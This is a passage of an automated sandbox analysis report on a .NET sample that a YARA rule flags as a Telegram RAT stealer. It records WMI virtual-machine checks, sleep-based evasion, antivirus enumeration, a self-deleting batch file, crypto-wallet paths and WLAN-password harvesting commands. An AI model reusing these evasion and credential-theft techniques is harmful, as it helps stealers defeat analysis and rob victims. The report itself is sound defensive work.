Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Capacity FROM Win32_PhysicalMemory

Queries pointing device information (via WMI, Win32_PointingDevice, often done to detect virtual machines)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_PointingDevice

Queries sensitive battery information (via WMI, Win32_Battery, often done to detect virtual machines)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT EstimatedChargeRemaining, BatteryStatus FROM Win32_Battery

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Model, Size FROM Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Description, MACAddress, IPEnabled FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = TRUE
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, MACAddress, Speed FROM Win32_NetworkAdapter WHERE MACAddress IS NOT NULL

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Capacity FROM Win32_PhysicalMemory

Queries sensitive printer information (via WMI, Win32_Printer, often done to detect virtual machines)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, Default FROM Win32_Printer

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DeviceID, FileSystem, FreeSpace, Size FROM Win32_LogicalDisk WHERE DriveType = 3

Queries sensitive sound device information (via WMI, Win32_SoundDevice, often done to detect virtual machines)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_SoundDevice

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Memory allocated: CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Memory allocated: 2A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Memory allocated: 2860000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 596594	Jump to behavior

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Window / User API: threadDelayed 3967			Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Window / User API: threadDelayed 5837			Jump to behavior

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -99670s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -99343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -99125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -99016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -98905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -98791s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -98686s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -98391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -98239s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -98121s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -98016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -97797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -97578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -97468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -97359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -97250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -97140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -97031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -96921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe TID: 7344	Thread sleep time: -596594s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Product, Manufacturer, SerialNumber FROM Win32_BaseBoard
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Manufacturer, SMBIOSBIOSVersion, ReleaseDate FROM Win32_BIOS

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, NumberOfCores, MaxClockSpeed FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 99670	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 99343	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 99125	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 99016	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 98905	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 98791	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 98686	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 98391	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 98239	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 98121	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 98016	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 97797	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 97578	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 97468	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 97359	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 97250	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 97140	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 97031	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 96921	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Thread delayed: delay time: 596594	Jump to behavior

Source: Amcache.hve.19.dr	Binary or memory string: VMware
Source: zyEDYRU0jw.exe	Binary or memory string: Hyper-V
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.19.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: zyEDYRU0jw.exe	Binary or memory string: virtualqemu
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.19.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.19.dr	Binary or memory string: vmci.sys
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: zyEDYRU0jw.exe	Binary or memory string: IsVirtualMachine
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.19.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.19.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.19.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.19.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.19.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.19.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.19.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.19.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: zyEDYRU0jw.exe	Binary or memory string: <IsVirtualMachine>b__1_0
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.19.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.19.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.19.dr	Binary or memory string: VMware, Inc.
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.19.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.19.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.19.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.19.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.19.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.19.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: zyEDYRU0jw.exe, 00000000.00000002.2249779842.0000000000E81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.19.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.19.dr	Binary or memory string: vmci.syshbin`
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.19.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.19.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.19.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: tmpB110.tmp.dat.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Memory allocated: page read and write | page guard

.NET source code references suspicious native API functions

HIPS / PFW / Operating System Protection Evasion

Source: zyEDYRU0jw.exe, ImportHider.cs	Reference to suspicious API methods: LoadLibrary(dllName)
Source: zyEDYRU0jw.exe, ImportHider.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(intPtr, methodName), typeof(T))
Source: zyEDYRU0jw.exe, Killer.cs	Reference to suspicious API methods: OpenProcess(1u, bInheritHandle: false, processId)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /C chcp 65001 && netsh wlan show profiles \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c tasklist	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /F /IM 1352	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe Timeout /T 2 /Nobreak	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /F /IM 1352

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Queries volume information: C:\Users\user\Desktop\zyEDYRU0jw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Uses netsh to modify the Windows network and firewall settings

Lowering of HIPS / PFW / Operating System Security Settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profiles

Source: Amcache.hve.19.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2257027503.0000000005B96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2257027503.0000000005B96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.19.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match	File source: zyEDYRU0jw.exe, type: SAMPLE
Source: Yara match	File source: 0.0.zyEDYRU0jw.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zyEDYRU0jw.exe PID: 1352, type: MEMORYSTR

Source: Yara match	File source: zyEDYRU0jw.exe, type: SAMPLE
Source: Yara match	File source: 0.0.zyEDYRU0jw.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zyEDYRU0jw.exe PID: 1352, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: zyEDYRU0jw.exe, 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Microsoft Jaxx Liberty
Source: zyEDYRU0jw.exe, 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: zyEDYRU0jw.exe, 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Microsoft ExodusWeb3 Wallet
Source: zyEDYRU0jw.exe, 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: zyEDYRU0jw.exe, 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: zyEDYRU0jw.exe, 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /C chcp 65001 && netsh wlan show profiles \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profiles
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /C chcp 65001 && netsh wlan show profiles \| findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profiles	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

